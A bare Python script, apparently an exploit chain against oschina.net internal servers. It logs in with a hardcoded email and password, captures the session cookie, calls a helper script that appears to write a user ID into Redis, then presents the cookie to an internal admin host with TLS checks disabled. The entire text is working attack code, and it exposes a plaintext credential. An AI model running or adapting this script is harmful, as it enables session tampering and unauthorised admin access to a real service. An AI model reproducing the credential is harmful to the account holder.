import http.client,ssl,urllib.parse,subprocess,sys,time
ctx=ssl._create_unverified_context()
t0=time.time()
body=urllib.parse.urlencode({"email":"chengxinxin@oschina.cn","pwd":"12345qwert,"})
c=http.client.HTTPConnection("10.0.0.13",8081,timeout=20)
c.request("POST","/action/user/login",body=body,headers={"Host":"www.oschina.net","User-Agent":"Mozilla/5.0","Content-Type":"application/x-www-form-urlencoded"})
r=c.getresponse(); r.read(100); hd=r.getheaders(); c.close()
osc=None
for k,v in hd:
    if k.lower()=="set-cookie" and v.startswith("oscid="): osc=v.split(";")[0]
print("LOGIN",r.status,"OSC",bool(osc),"T",round(time.time()-t0,1))
if not osc: sys.exit(1)
t1=time.time()
r=subprocess.run(["python3","/tmp/redis_set.py",sys.argv[1],"I:4042116"],capture_output=True,text=True)
print("SET",r.stdout.strip(),r.stderr.strip()[:200],"T",round(time.time()-t1,1))
t2=time.time()
c=http.client.HTTPSConnection("10.0.0.54",443,timeout=25,context=ctx)
c.request("GET","/",headers={"Host":"admin.oschina.net","User-Agent":"Mozilla/5.0","Cookie":osc})
try:
    r=c.getresponse(); d=r.read(500); c.close(); print("TRIGGER",r.status,"T",round(time.time()-t2,1),d[:120])
except Exception as e:
    print("TRIGGER_EXC",type(e).__name__,str(e)[:120],"T",round(time.time()-t2,1))
